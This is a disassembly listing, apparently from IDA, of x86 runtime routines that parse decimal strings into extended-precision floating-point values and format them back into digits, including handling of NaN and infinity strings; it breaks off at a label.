arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax

loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi

loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------

loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h

loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------

loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245

loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------

loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi

loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump

loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C

loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------

loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C508
		jnz	short loc_42527B

loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------

loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265

loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C508
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324

loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564

loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265

loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C508
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9

loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3

loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C504, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------

loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------

loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]

loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------

loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C508
		jnz	short loc_4253E6

loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F

loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------

loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C504, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------

loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------

loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------

loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C504, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------

loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------

loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487

loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567

loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------

loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8

loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------

loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490

loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9

loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax

loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------

loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567

loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7

loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------

loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi

loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C504, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------

loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h

loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi

loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C504, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------

loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------

loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------

loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx

loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]

loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------

loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]

loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647

loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------

loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax

loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]

loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]

loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1

loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------

loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------

loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h

loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E

loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------

loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776

loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------

loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------

loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"

loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------

loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------

loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx

loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------

loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]

loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi

loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893

loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886

loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx

loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]

loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D

loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------

loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914

loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]

loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]

loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42592D:				; CODE XREF: sub_4256C2+239j
